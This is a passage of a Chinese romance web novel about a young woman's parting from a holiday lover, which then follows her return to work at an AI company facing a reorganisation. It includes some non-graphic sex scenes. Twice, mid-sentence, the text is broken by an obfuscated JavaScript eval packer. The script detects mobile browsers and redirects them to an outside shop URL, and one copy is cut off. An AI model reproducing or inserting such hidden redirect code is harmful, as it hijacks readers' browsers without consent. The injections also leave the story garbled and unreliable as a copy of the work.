何筱舟下意识紧了紧手上的力道,李既白察觉到,低头问她:“怎么了?” 她望进他的眼睛,很久,才说:“想到你之前说,想试试榴莲,不如就今天?” “啊?” 他脸上出现很明显的为难神色,唇角紧抿,颇有点“视死如归”的意思,“行。” “作为交换,今天火锅可以点全辣。” “换一个?你不常吃辣,肠胃可能会受不了。” 何筱舟摇摇头,“就这个了,吃不下你包圆儿。” 最后在李既白的坚持下,没有真的点全辣锅。 但何筱舟只往辣锅下筷,一顿饭吃下来,喝水的次数超过夹菜,倒不如说她是喝冰绿豆汤喝饱的。 而李既白也没有真的吃榴莲,吃的是榴莲千层。 那时是下午了,火锅店在闹市区,路旁的树都上了年头,林荫浓厚,沿路一直走也不会太热。他们搜了攻略,决定去渝宿当地最出名的复古街区。 整条街都是做旧风格的店铺,好像是九十年代的港片实景VR,进入后眼前自动蒙上一层泛黄的滤镜。 而何筱舟的胶片机,跟这里每一处场景都绝配。 两人分别在街口的标志立牌旁拍了张游客照留念,然后一家家店逛过去,经过一家张贴《花样年华》海报的甜品店,进去点了一份。 一小牙榴莲千层,李既白拿勺子挖下一点送进嘴里,登时皱起眉。勉强吃了一半,就丢下勺子,再也不肯吃更多,“不行,我去下卫生间。” 何筱舟笑道:“我去给你点杯咖啡。” 点完单,李既白也已折返,可能洗过脸,刘海沾了些水珠。 何筱舟惊讶,“不会吐了吧?” “没有。” 是那种不上不下的感觉,喝一大口黑咖才压下去一点。 这片街区还有许多文创店。 好友乔楠最喜欢这种精致且有巧思的小玩意,也在做相关的生意,何筱舟每间店都逛了一遍,给她买了一些,另外在一家怀旧风的服装店给何丽萍选了条适合跳舞穿的裙子。 离开这里,去附近影院看了部近期热门的商业片。等吃过晚饭再从商场出来,夜幕已经降临。 这一天也要结束了。 他们和正常情侣一样约会,却未曾约定下次再见的时间。 因此谁都没有主动提及即将到来的离别。 “喝一杯吗?” 说这话时,两人已经快要走到地铁站,而旁边的巷口,就有一间清吧。 同样是轻金属风格的装修,很容易联想到桉吴古镇那间。 李既白低笑,“会有蓝色山峦吗?” 当然没有。 何筱舟点了杯大都会,李既白照旧是威士忌。 背景音乐是《NoChoice》,副歌部分听起来就像在云端飞行。 何筱舟想到什么,凑到李既白耳边问:“如果你知道最终会发生,那天晚上会答应吗?” 男生思考片刻,认真答道:“不。” 他阐明原因:“那样的话,可能就没有后续发生的事了。就算离开度假村的时候我们还能遇到,一起拼车去机场,你也不会想去南岸了。” 的确。 何筱舟惊诧于他的敏锐,顿了顿,捕捉到他话里的留白,“你想有后续?” “我会遗憾,如果没有发生登兰岳塔,以及看日出的话。” 这个回答不意外,可能就是他提过的顺延机制,对他而言是全新的体验。 喝完,买单离开酒吧。 但仍未顺利到达地铁站。当然,又是因为顺势而生的临时起意。 这一站是渝宿的文化广场,面积很大,有年轻人在玩滑板、即兴街舞之类的,也有老年人在组队跳舞。 各自占据一部分位置,井水不犯河水。 吸引他们的是跳舞那边,不是普遍印象中常见的那种,播的是悠扬舒缓的怀旧金曲,粤语老歌之类,跳的是交谊舞。 下一首歌,何筱舟牵着李既白的手滑进舞池。 她和他学着其他人的样子,手相扣、搭肩、扶腰,没有人觉得突然出现的年轻人是异类,尽管两人的舞步并不熟练。 甚至旁边有一对注意到他们,头发花白的老头还出言提醒李既白,他的手应该搭在女方肩后,而非肩头。 何筱舟头低下去,抵在他胸前,笑得肩膀发颤。 她被李既白带动着,后退,前进,而她担心会踩到他,时不时往地面看,留意自己的步伐轨迹。 吹过广场的风沾上泥土腥气,变得有些潮闷,惹得人心口发涨。 歌曲的轮播切换也像某种倒计时,提醒着时间流逝。 周遭开始有人陆续退场,音乐声也调小。 何筱舟本想等这首《月亮代表我的心》播完再走,但没有任何征兆的,忽然下起雨。 暗灰色的地面很快被豆大的雨点填补成黑灰。 四下空旷无遮挡,人群作鸟兽散。 何筱舟被李既白拉着,一路小跑奔进地铁站,好在进站口就在旁边没多远,才没被淋湿。 回温麓山庄需要换乘三条线路,最后是开往远郊的那趟,到终点站还有一公里左右的距离。 可以选择打车,更便捷。但一路换乘下来,几乎穿过渝宿全城,何筱舟看着李既白,他也看着她。 他们互相为对方掸去浮在发丝上的雨粒,重新牵起手往检票闸机去,“走吧。” 每换乘一次,车厢内的乘客就减少了些,一个半小时左右,才到达末站。 出站时雨还在下,不过是濛濛细雨,约等于无。 李既白准备打车,却被何筱舟制止,她看着地图上的路线规划,步行半小时,“不远,走回去吧?” 他伸手感受了下雨丝,收了手机,“好。” 庆幸渝宿的城铁规划涵盖面这么广,不至于让她本意浪漫的心血来潮变成负担。 沿途绿化带里长着的树可能刚种上没几年,跟城区的茂密林荫比不了。 但刚下过雨,树梢上缀满大自然馈赠的宝石,连带着吹来的风也有了些微凉意,驱散夏夜里潮湿闷热的空气。 相牵的手变成十指紧扣,闲聊的话题也从不久前看的那部电影到满天星辰。 自然而然延伸到星座,但两个人都不了解,掏手机现查。 巧合的是,他们生日的月份和日期刚好跟对方相反,何筱舟是8月4号,李既白是4月8号。 按星座特质一条条核对下来,都觉得跟自己不一样,当个乐看完就撇了过去。 路程还剩大约三分之一的时候,雨势忽然变大。 没有带伞,前后都无着落,路上没车,也没有别的行人,只有雨雾下黄蒙蒙的路灯作伴。 起初是李既白牵着何筱舟小跑,后来他注意到她脚上带点矮跟的鞋子,便停下来,手撑在膝盖上,在她面前半蹲,“上来,我背你。” 何筱舟有点犹豫,“还有挺远的路。” 他捉来她的手,去碰了碰他手臂的肌肉,“你是不是忘记我每天的运动量。” “怎么会忘。” 昨天还摸了呢。 何筱舟抬眼看了看雨幕中不远处主楼外墙的灯带,说:“可是……” “没可是。” 他的黑发被雨水淋湿,睫毛也湿漉漉的,眼里的不容置疑却十分清晰。 何筱舟趴在他背上,腿被他稳稳当当托起来。 迎着雨,她搂住他的脖颈,下巴抵在他肩头,心里又涌上来早晨那股眷恋。 回到房间时,两人几乎都被雨浇透。 何筱舟这时候才对他坚持运动的成果有了概念。 她刚脱掉鞋子,准备回房间拿换洗衣物,又被他一把抱起来进了浴室,仓促间只来得及抓一枚安全套。 温热的水兜头浇下,她的后背却只能感受到墙面瓷砖的凉意。 她好像变成冷与热的分界点,身体几乎完全悬空,唯有的依凭是他托在她腿下的手,以及被她借力支撑的他的肩膀。 而当她不得不抱住他的脑袋,她便只能把全身重量都交给他。 她在热水中如缺氧般张口呼吸,惊讶于他进步神速,以及好像怎么也用不完的体力。 “怎么样?” 结束后擦干水珠,李既白又抓着她的手去摸他的二头肌,讨赏一般。 充血状态下触感更分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621103|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明了些,何筱舟揉了一把,几分敷衍地亲了亲,“还不错。” 转而去拧湿哒哒的头发。 李既白笑了声,走去她身后,从她手里接管吹风机,轻轻拨着她的长发,一点一点吹干。 裹着浴巾出去,何筱舟随手拣起沙发上李既白的T恤套上,松松垮垮的,长度刚好。 他昨天刚换好没多久就被脱了下来,还有洗衣液的味道。 何筱舟很久没有这样高强度地闲逛过,累极了,又经过这么一遭可以称为酣畅淋漓的性.事,好像浑身毛孔都被打开,躺在沙发里,一动也不想动。 李既白在她旁边坐下,搂起她的肩膀让她枕到他腿上,有一下没一下地用手指勾她的头发。 房间里静谧得只能听到中央空调运作的声音,她内心却轰然。 这样的温存让她警惕,但想到今晚就会结束,心里那点挣扎也就轻飘飘地散了。 李既白开了瓶水递给她,做总结一样问:“今天怎么样,有没有什么遗憾?” “98分。” 何筱舟坐起身,接过来喝了口,“嗯……舞没有跳完,就走了。” 实则不是因为这个,但她无法宣之于口,也有点不忍心破坏这一天。 男生笑,“这有什么难的。” 他回房间,拿出一个木盒一样的物件,搁在矮几上。 音乐声溢出来,何筱舟想起,这大概就是他那晚给她听风声的小音响。 样式很精巧,音质也不错,他记得被打断的那首歌,直接连蓝牙播放。 然后他站起身,朝她伸出手。 何筱舟手搭上去,但没穿鞋,赤脚踩在他脚上。 说是跳舞,倒不如说是拥抱。 李既白的手搂在她腰间,用了些力,让她能够站稳点,她则伸手勾住他后颈。 身体贴的很近,触感也清晰。 两人呼吸都有点乱,脚下旋转的舞步也是,很快脱离沙发地毯那块区域,转进了卧室。 他们仍未跳完那支舞。 这次在李既白的卧室,跟她那间格局类似,不一样的是顶灯。 何筱舟只大略扫了一眼,看出样式不同,细节无暇分辨。因为李既白正在尝试另一种解题方法。 她以为她已经足够熟悉他头发的触感,干燥状态下蓬软,涂一点固定发蜡就能理出好看的发型;潮湿状态下往后拢,露出前额;沾了点雨珠的时候…… 现在才知道,他两鬓边的发茬若是和皮肤刮擦,会有些刺痒。 何筱舟抓紧刚刚褪下来的T恤,脚趾也蜷起来。 她听不清窗外的雨声,已经被另一种水声覆盖。 她清楚自己的极限,被深处的渴望驱使着,朝他贴近。 很快。 T恤也穿不成了。 李既白躺下来抱住她,轻轻抚着她的后背,等她平息下来。 她脱力缩在他怀里,有一种时间就此停住也很好的满足感。 客厅里的音响还在续播音乐,是一首何筱舟没听过的英文歌,轻快,又有一点点怅惘。 她闭眼听了会,问他:“这是什么歌?” “seeyoutomorrow.” 何筱舟含糊地嗯了一声,餍足后,她有点困倦。 但他还没纾解,弧度很明显。 “没事,睡吧。” 李既白往床边挪了点,只手臂横在她颈下,带点安抚性质地在她后背轻轻拍了几下。 不过她脑子里装着别的事,没真的睡着。 闭了会眼睛,何筱舟拥着被子起身拿水喝,重新躺下时腿不小心挨到,故意蹭了下。 一下子被他捉住脚踝。 何筱舟笑了声,挣脱他的桎梏,坐到他腿上。 她低着头,看上去漫不经心的样子,偏偏眼神胶着,视线好像也变成有实质的触碰。 末了,还要冲他扬扬眉,里面的含义不言而喻。 李既白受不了这样的注视,耳朵烫的像被浇了开水,有点粗暴地控住她后颈,去捂她的眼睛。 何筱舟知道他又在虚张声势,扶着他的肩膀,坠入新一轮风暴。 明显感知到他动了下,她轻声问道:“现在能看你了吗?” 他撤了手,下落,扣住她的腰,仰头吻她。 这种时候的对视,即使落泪,也有据可依。 她近乎贪婪地将目光定在他眉眼间,递出舌尖,回应他。 凌晨时分,风停雨歇。 何筱舟准备下床回自己房间,被李既白拉住,“你不和我一起睡吗?” “今天很美好,我不想留下什么不愉快。” 指的是那天晚上。 李既白被这个理由说服,捏着她的手放在唇边轻啄了下,“好,晚安。” 客厅里的音乐声自动停了,可能已经没电,指示灯闪着红色暗光。 何筱舟站在原地没什么情绪地望了片刻,关灯,走回房间。 外间的动静消逝,一室静谧。 困倦极了的李既白却忽然睁开眼,清醒了几分,拿起手机给何筱舟发微信。 “明早一起去机场吗?” 对话框很快蹦出新消息,“当然。” 他弯了弯唇,这才放心睡去。 * 当然不会。 三点多钟的时候,何筱舟离开温麓山庄。 白天在打车软件上提前预订过出行单,从侧门出来时,一辆白色的网约车已经停在深浓夜色里,打着双闪。 报了尾号,何筱舟塞上耳机,从车窗里最后回看一眼。 如果不刻意联系,大概率不会再见面,毕竟以前同在津海,也从来没有遇见过。 所以,她的手指在删除好友的按键上停顿许久,最终还是没有按下去。 微信联系人沉到底,是成年人社交关系里最常见不过的事。 何筱舟收起手机,阖上眼。 耳机里恰好播到那首《暧昧》—— 似是浓却仍然很淡 天早灰蓝想告别 偏未晚 16. 晴雨 心动是浅薄的爱意。 它没有规律,没有道理,常出现在我每一次忍不住向你靠近的瞬间。 * 上午九点半,何筱舟落地津海。 雨季已经过去,这座城市正式向夏天迈进。 何筱舟没回家,拖行李顶着逐渐爬升越来越烈的日头直奔槐枰街,去找乔楠取耳环。 这片靠海的街区是津海有名的旧洋房建筑群,离市区远,安静,聚集很多画廊或者个人工作室。 乔楠不一样,她毕业归国后直接买下一栋三层洋楼,整体重新装修过,一楼开咖啡厅,二楼卖点有意思的文创,三层是阁楼,有很大的露台,她改成起居室,偶尔住在这里。 其他自诩艺术家的人看不上她这里的铜臭味,不怎么跟她来往,但她还是交到了朋友——隔壁开清吧跟她一样不受待见的季惟。 俩富二代,开店选在人流量低的地方,但也不在乎,玩票似的,只为找个事做,逮着空就攒局开趴,社交圈里的人能从店门口排到城市另一端的滨水区。 何筱舟有时周末过来找乔楠,会被拉着去隔壁喝一杯,一来二去跟季惟也熟识了。 现在还早,他的酒吧还没开业,不然该去当面谢谢他托人帮她买到了这对耳环。 “不用谢。”乔楠递了杯冰美式给她。 “又不是谢你。” 何筱舟接过来猛灌一口,精神了点,用小锁开了木盒看实物。 蒂梵2015年情人节推出的宇宙浩瀚系列珠宝,她这个是主打款耳饰,也是那年林湛送她的生日礼物。 以钻石堆砌而成的星球,周围绕着漂亮星环,缀在耳上,像人类关于银河的想象摇摇晃晃成了真。 何筱舟物欲很低,她至今都记得,这副打眼一看就很贵的耳环摊开在她面前的时候,她差点被闪瞎了眼。 她当然不收,因为她无法回赠同等价值的礼物。 但林湛说,这不是花他父母的钱买的,是他跑演出赚的,很有纪念意义,请她一起见证陨落前摇的发展历程。眼神认真,言辞切切。 她当时信了,收下了,却一次没带过。 后来才知道,乐队那时候哪能赚那么多钱,他卖了比赛赢的限量车模才凑够。 毕业那年,她离开北京回津海,到家才发现左边那只丢了。不知道什么时候,也不知道在哪发生的,根本无从找起。 一个很不恰当的类比,跟林湛似的,半点踪迹都没了。 是一年前某天,那也是她几年来第一次梦见林湛,醒来后想起这茬,开始寻摸着淘副闲置给补上。 “这在当年可不便宜。” 乔楠倚在桌边,吹开奶泡,老神在在地说着。 何筱舟昨晚几乎没睡,很累,又困。 她没打算闲聊,开了行李箱,把买给乔楠的文创递过去,“明天周一我复工,一会就走,今儿下午得好好睡一觉。” 乔楠开了包装袋瞧,抽空抬眼贱兮兮地揶揄她:“瞧你这一副纵欲过度的样儿,怎么着,有艳遇?” “跟老年团能有什么艳遇?” 话脱口,何筱舟不由一怔。 乔楠很夸张地笑,笑完觉得不对劲,“这话我怎么好像在哪听过。” 何筱舟没在意,瞥见夹层里买给何丽萍的裙子,想了想,取出来一并塞给乔楠,“你哪天回家经过我妈那,顺道拿给她。” 乔楠正了正神色,“你还是不乐意见刘叔啊?” “也不是冲他,我就是还有点别扭。” 何筱舟合上行李箱,站起来的时候眼前一黑,“等会儿我到一楼拿块蛋糕走。” “跟季惟说我下周末请他吃饭。” 她来去像一阵风,乔楠茫然地看着她提着行李箱匆匆下楼的背影,一下子忘了原本要跟她说什么。 何筱舟现在只想回家。 洗个澡,睡一觉,兴许就能戒断假期带来的倦怠感,她不太想承认,这十天过得太舒心肆意,以至于现在竟开始怀念。 甚至在想象,如果今天是和李既白一起去机场,该怎么和他告别。 想不出结果,便愈发觉得不告别简直太正确。 * 网约车司机风琴脚,何筱舟刚吃了甜食垫肚子,车身一颠一颠的,搞得她差点吐出来,睡意也散了。 正迷糊,有电话进来。 她太阳穴跳痛,感觉脑袋快炸了。 但对方是她之前的上司,语气严肃,听起来要跟她说什么重要的事,便应下,约在市中心商圈的茶餐厅见。 推开玻璃门,何筱舟目光梭巡一圈才看到余歆然。她坐在角落的位置,特务接头似的,小幅度地朝她招了招手。 何筱舟回以一笑,走过去,在她对面落座。 一时有点感慨。 算起来,她毕业后没多久就进了知界,在研发部下级的AI子部门主做算法,到现在已经六年。 普遍互联网企业核心技术部门都是男多女少,且多多少少会歧视女生,不过很幸运,当初带她的小组长是女性。 知界前身是求知交流类社区网站,早些年跟风,定下了员工起花名的传统。初入职那段时间,最难的不是适应快节奏的工作,反而是怎么把花名、真名和一个个具体的同事对上号。 但她见到余歆然的第一面,就完全记住了她。 余歆然看上去是电视剧里那种走路带风的都市精英,笑起来却眼睛弯弯的,还有酒窝,花名起的很飒又不绕口,“叫我凌霄就好。” 她的野心写在脸上,何筱舟本以为她会一路直上,做到知界研发部的高管之一。 可惜的是,她结婚生了孩子之后被调离核心的AI子部门,晋升空间也有了上限。 余歆然是个很好的领导,对待工作严苛,私下里却很随和,没什么架子,菜鸟期的何筱舟受了她不少鼓励和照顾。 桌上温着花茶,余歆然给她倒了一杯,看向她脚边的行李箱,“假期过得怎么样?” “谢谢,”何筱舟一副社畜牛马口吻,“很放松,舒展开筋骨,又有劲给公司打工了。” 余歆然不是拐弯抹角的性格,点过单,直接说明来意:“你应该知道我们部门要进行职级评定?” “当然,这是每年年中的惯例。” “这次不一样,不单是职级,可能还涉及岗位调整。” 何筱舟握杯的手一顿,“跟我有关?” 余歆然看她一眼,“我暂时不能告诉你具体的,快的话,你下周复工之后,就会收到消息。” 何筱舟抿一口水,“这么草率?” 余歆然问:“你现在做到了我当初的位置,下一步会到哪里,有想过吗?” 何筱舟没避讳,直截了当,“AI事业部经理。” “我当初也是这么想的。” 余歆然说:“谁都知道,现在研发部的核心项目集中于AI子部门,而AI事业部的核心是大模型组,你现在只是AI事业部下属衍生业务组的组长,有把握跟核心组的人竞争吗?” 何筱舟隐约有不好的预感,“你意思是,我会跟你一样,被调去其他子部门?” 她不置可否,“你也到了婚育年龄了。” 何筱舟感到荒谬,“可是我并不打算结婚。” “管理层只培养他们认为值得培养的人,有我之前的例子,他们只会更谨慎。” “可你只是结婚,生孩子,工作并没有落下。” “是啊,只是这样,”余歆然的笑里含着无奈,“但代价很大。” 一时沉默。 何筱舟先开口:“那你今天找我是?” 余歆然似乎下了很大的决心,才说:“我和另外一个朋友打算创立公司,结合人工智能做心理类咨询相关模型,他有精神卫生中心、医院和高校方面的人脉和资源,能促进合作,想问你有没有兴趣加入?” “你可以看计划书考虑一段时间,不着急回复。” 手机响了声,是她发来的文件。 何筱舟没点开,她严重缺觉,现在有点懵。 而且没想到会是这么个事。 她一贯更擅长定好目标埋头往前冲,而创业,没有边界,尽头未知,要考虑的事太多,远不止技术层面。 她从来没想过,潜意识里就觉得不是一条适合她走的路。 但还是好奇,“我能问问吗,为什么会想到我?” 何筱舟相信余歆然是经过深思熟虑才来找她的。 余歆然虽然去了相对边缘化的子部门,但工作能力摆在那里,慢慢转成了管理岗,提早知道些人事内幕不奇怪。 可私底下透露给相关员工,甚至挖人,这不合适,她是要承担风险的。 “我相信你的能力,也相信你跟我一样,绝对不会只想止步于一个小领导的职位,数着到手的年薪和股票含混地过日子,然后等着被裁员。” 这种信任基于她们曾经的并肩作战,何筱舟在余歆然眼睛里好像又读出了曾经的野心。 余歆然笑说:“而且,你一直都是茶水间八卦的终结者,就算没谈妥,也不会转头就告诉别人。” 的确。 午餐食堂和茶水间是八卦散播最快的地方,但何筱舟从来都只默默地听,不参与传播。 谁跟谁睡了,谁出轨,谁吃回扣,人多了,污秽也多。她懒得置评,听过就忘,她只做好自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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何筱舟住在新安社区,几栋上了年头的老楼,没有门禁,更没有电梯,一层楼门对门两户,户型、格局都一样。 她租了套两居室,对面是她小时候的家,现在住在那里的是对上了年纪的夫妻。 那套房子是她爸妈结婚时候置办的。 父亲徐成德去世之后,何丽萍一个人带她生活压力很大,咬咬牙把房子卖了,在津海大学附近盘下一间门面,开馄饨店,母女两人挤在后面的小隔间。 是在那片规划了大学城之后,门店生意慢慢好起来,她们才在周边租了房,从店里搬出去。 后来何筱舟入职知界,办公地点在沿江CBD,离大学城太远,通勤不方便。赶上那时新安社区有房出租,而且恰好和她之前的家是对门,就租了下来,一个人住在这边。 新安社区和知界的办公楼隔江岸相望,每天搭四号线,坐一站跨江路段即能到。 上下班路上,晨辉日落尽收眼底,工作上的事再难搞,看过江景,再回到这方透着陈年味道的小屋,只会觉得熨帖,什么都不重要了。 * 开了门,嗅到老房子特有的厚重木质气息,何筱舟在玄关站了一会,才走去阳台开窗通风。 离家不久,几乎是封闭状态,没什么灰尘。 何筱舟草草冲了个澡,倒头就睡。 无梦,一觉到天黑。 睡前没拉窗帘,月色投进卧室,又映上房顶。 粼粼的,像水一样。 她跟那片水光对望了一会,沉沉地吐了口气,下床,也没开灯,借着月色走去阳台。 每到晚上,澜江上都会有披着彩灯的邮轮,对岸CBD高楼则亮起各种霓虹,有时赶上哪位明星来津海开演唱会,还会有更炫目耀眼的应援。 而这个位置,刚好能够旁观全部的热闹。 以往她只是默默看着,今天却有点烦躁。 可能因为马上就要面对职位变动,而她已经预知到可能不会是什么好的结果。 手机接连响了两声。 何筱舟解了锁点开,微信对话列表浮上一个她以为会很快沉到底的名字。 男生换了张头像,是那天在渝宿拍的山顶日出。 他发来两条语音。 第一条:何筱舟。 极平淡的一声。 背景里隐约有淅淅沥沥的雨声,他大概已经回了南岸,或者还在渝宿,总之不是津海,这里星空朗朗。 第二条:兰岳中心塔的模型你没带走。 声音仍润朗,只语气听起来略有气闷。 何筱舟噗嗤笑了。 怎么办,她好像完全能脑补出他发这两条语音时会是什么表情。 17. 阴风 李既白是从健身房回来后才发现何筱舟已经离开了的。 出门前他看了眼,房门紧闭,以为她还在睡,给她打包了早餐。但敲门一直没人应,进去只看见收拾整齐的被褥,以及完全空掉的衣柜。 他大脑空白一秒,瞟见床头柜上有块突兀的白色,走过去一瞧—— 这个一声不吭就走掉了的女人,竟还记得抽空留张便条给他。 用餐巾纸写的,字跟人一样潇洒:走了。 他对着飘逸的字体扯了个笑。 没有很意外,情理之中。 但就是有股子气淤积在胸口,上不去下不来的,于是点开微信,想问她,昨天不是说好一起走吗? 很快冷却下来,又把输好的文字删掉。 她大概率会回他:睡一觉而已,分开走还是一起走有什么区别。 算了。 他把纸团了团丢进垃圾桶,东西一件件整理好赶去机场。 落地南岸后,打车去码头,再坐船到湄湾岛。 临近六月末,客流量陡然增多,民宿订满了,吴宪文在店里忙得不可开交,他撂下行李去帮忙,一直到晚上才得空。 冲完澡,把行李一件件拿出来归置好,看到兰岳塔的模型,那股劲又窜上来,这回堵到嗓子眼。 他坐在后院的凉棚里,握着手机,有一下没一下地敲在掌心。 雨声滴滴答答,听得人心烦。他点开对话框,看了眼昨晚最后的聊天记录,试着发过去两条语音。 发第一条的时候已经做好了看到红色感叹号的准备,没曾想,第二条发出没多久,她直接拨来电话。 他按下接听,却没想好说点什么。 沉默横亘两端,最后是何筱舟先开口,声音里带着点笑意,喊他的名字:“李既白。” “嗯?” 空气被雨水浸透,凉津津地钻进胸腔。他清了清嗓子,“我快递给你?” “不用,还是留给你,纪念你第一次登高。” 李既白沉默几秒,问:“你到了津海吗?” “上午到的,你呢,回南岸了?” “嗯,我中午到的。” 何筱舟此时正趴在阳台的围栏上,望着江对岸的灯火,懒洋洋地说:“你那下雨了?我听到雨声。” 他低低应了声,走到凉棚边缘,斜倚着柱子。 不知道出于什么想法,可能是不想再次陷入沉默,他在电话里一点点向她描述这处院子。 三层楼,南洋风装修,外墙与岛上其他建筑统一风格用的是红砖,后院搭一顶凉棚,摆张桌子和躺椅,不远处即是雨夜下的幽深海面。 “有花园吗,这么好看的房子应该有片花园。” 何筱舟之前预订的时候在APP页面上看过几张局部图,能想象到实地的场景。 “没有。” 不过后院有棵老树,根旁长了一丛小雏菊。 “如果没有临时改道,我应该已经看过它们是什么样子了。” “你之后有时间也可以来,我安排给你留房。” 她没答这句,语气一转,轻飘飘地问:“那……能在躺椅上和你接吻吗?” “……不能。” 何筱舟猜他现在耳朵肯定又红了,但表情应该还是一本正经的。 她笑了声,放松地抻了下睡得酸胀的腰肢,扯了两句别的,以出门吃晚饭为由结束了这通电话。 “给谁留房间?” 听到吴宪文的声音,李既白锁了手机,转身坐回躺椅。想起刚才的话,有点不自在,起身靠着桌沿。 “同学吗,还是朋友?我靠,你交女朋友了?” “不是,没有,别猜了。”李既白说。 吴宪文递给他一罐冰啤酒,“毕业了,你后面有什么打算?” “留下管店还是去珠港找工作?要不就在市里找,离家近一点。” “去北京,或者津海,离这远一点。” 吴宪文耸耸肩,一副习以为常的样子,“那你走之前找时间去看看秦叔和胡姨吧,俩人一直念叨你。” “对了,他们搬回三中那边了。” “好。” 李既白默默喝完那听啤酒,将空罐搁在桌上,不经意间问起吴宪文的感情状况,“你当初怎么确定你喜欢徐沐子的?” 吴宪文差点把嘴里的啤酒喷出来,奇怪地看了他一眼,“这要怎么确定吗?喜欢,就是喜欢啊。” “总得有个原因?” 吴宪文想了想,说:“沐子很漂亮。” 李既白睨他一眼,“你们在一起这么久,徐沐子知道你这么肤浅吗?” “你连女孩手都没牵过,你懂个毛。” 吴宪文冲他眨眨眼,“我夸沐子好看,她只会开心。” 平时糙的不行的男的突然腻歪起来,李既白一阵激寒,不打算再深聊,拿了伞回房间。 吴宪文叫住他:“诶,你以前都不关心这些的,真谈恋爱了?” 砰一声,长柄伞面弹开。 李既白走进雨里,闻言身形一顿,回了句:“没有。” * 气压很低。 周一复工,何筱舟明显觉知到办公室内异样的氛围,没有人闲聊,只有敲键盘的声音。 她不动声色,照常上下班,两次午饭后,从同事口中拼凑出这次不同寻常的人事变动的原委。 研发部门原分管技术的总监被撤职,原因是多人联合举报他职场性骚扰及婚外不正当男女关系。 举报实则发生在一个月前,被高层捂了下来。 现在这个结果,公司对外说是正常的职位变动,只有少部分员工听到些风声,因没有实质的佐证,当八卦口口相传。 何筱舟休假前一直在北江出差,因此直到现在才搞清楚这些细枝末节。 至于新总监,是空降的,据说还带来了投资。 美国海归,藤校履历,年轻,有魄力,但也不近人情,上任三板斧,第一刀劈在人事管理上。 首先是,职级评定增加了范围限制,上年度绩效A+且参与过重大项目的,才能申请提级。 再就是比之前更为严苛的末位淘汰。 公司内部人心惶惶,跟余歆然说的差不多,一旦被边缘化,意味着晋升的入场券都拿不到。 何筱舟仔细评估过,和她竞争的可能是两位大模型组的同事。 一个主导了算力的优化,另外一个参与研发了知界最新推出的“闻知”大模型。 而她近两年做的项目都是基于现有大模型框架的二次开发,偏实际运用的衍生产品。 相当于树的枝叶,而非提供养分的根基。 所以即便没有上级可能会考虑的婚育年龄这层,何筱舟也没有很大的把握能赢过他们。 AI子部经理一职应该是无望了。 但职级晋升到专家还是有机会的。 年薪上涨,年终奖比例上调,还有股权激励。 何筱舟暂时没有做好准备跳槽或是换个赛道,而且她打算近期买房,对这个阶段的她而言,钱更重要一点。 无暇考虑更多,除去现有手头的工作,何筱舟把所有精力都放在了准备述职PPT和答辩上。 得益于平时良好的工作习惯,项目完成后她总是会进行阶段性复盘,所以PPT所要展示的相关资料整理起来并不费事,让她能有更多时间去补充细节,再用辅助工具模拟答辩。 原本说好周末请季惟吃饭,只能暂时搁置。 难得稍有空闲的周五晚上,何筱舟给季惟打了个电话说明情况,下周就要进行评审,她得趁周末做最后的准备。 季惟也没放在心上,电话里打着哈哈,背景音照常是酒吧鼓噪的音乐。他在那头扯着嗓子说:“别这么客气筱姐。可以的话,让乔楠代请也行。” 何筱舟愣了两秒才反应过来,“你在追乔楠吗?” “靠,筱姐,你真是我姐。” 季惟有点抓狂,“怎么就乔楠看不出来啊?” 何筱舟犹豫着,尽量委婉地说:“有没有可能,乔楠有喜欢的人?” “……” 季惟语塞,等了两秒才问:“谁啊?” “这我不能告诉你。” 何筱舟看了眼日程安排,把约饭推到了下周。 “别麻烦了,来我店里吧。” “有个朋友来津海,就是帮忙买到耳环的人,我学弟,介绍你们认识,再尝尝新酒。” 何筱舟说:“那下周五吧,我请夜宵。” 挂了电话,何筱舟滑坐到地毯上,仰头靠着沙发,舒展了下身体。 整体检查过一遍述职材料,她起身倒了杯水。再坐回来时瞟见桌角的快递盒,拿了美工刀拆开。 一般网购的东西都直接寄到新安社区,这个是从公司带回来的,里面是在渝宿做的diy陶艺。 但因为太忙,在桌上搁了两天都没拆。 店主套了严严实实的保护泡沫,颠簸上千公里,竟还完好无损。 实物比烧制前的颜色深很多,是类似深海一样的颜色,色彩浓淡相宜,表面有粼粼波光。 她往盘子里倒了点水,盘底的色彩映着灯光,看起来清灵又透亮,还真有点“满船清梦压星河”的意思。 何筱舟屈指抚了抚那只不像小船的小船,想到李既白被她调侃时有些无语的表情,弯了弯唇。 与李既白的对话窗已经沉到两页之后,聊天记录停止在上次的语音电话,何筱舟手指顿了顿,点进他的朋友圈。 最新一条是九宫格图集,和之前一样。 仍旧是没有明确主题的照片,黄昏海岸、随风翻飞的白色帷幕、还有漂在水上的冲浪板...... 何筱舟一张张滑过去,翻到最后,一时怔住。 那大概就是他在电话里提到过的,树旁的小雏菊,镜头拉近拍的,满屏都是小巧的花朵,绿白相间的植物中央,是那只出自她手的小狗摆件。 原来烧出来是这个颜色。 深棕色的一坨,猫不像猫,狗不像狗。 何筱舟笑开,看着桌上的盘子,起了拍照发圈回应他的念头。 然而。 等真正拍好照片,她又突然生出退意。 没有必要。她敛了笑,继续检查PPT的内容。 繁忙大概是最好的戒断方式。 复工之后,她很少会想起休假期间的事,生活仍旧如枯井般平静,好像被那架穿云而过的飞机带进了什么平行时空,只是平白多了段记忆。 而这些偶尔乍现的彩蛋,是投进枯井的石子,激荡起涟漪,又很快沉没。 聊胜于无罢了。 * 新的一周,评定正式拉开序幕,何筱舟也见到了那位空降来的总监,麦宇。 他花名叫麦克,也是他的英文名,真人和传言中描述的一样,三十出头,混血,穿剪裁得体的西服,一副电影里美式精英的派头。 他不占评审席位,只是旁听。 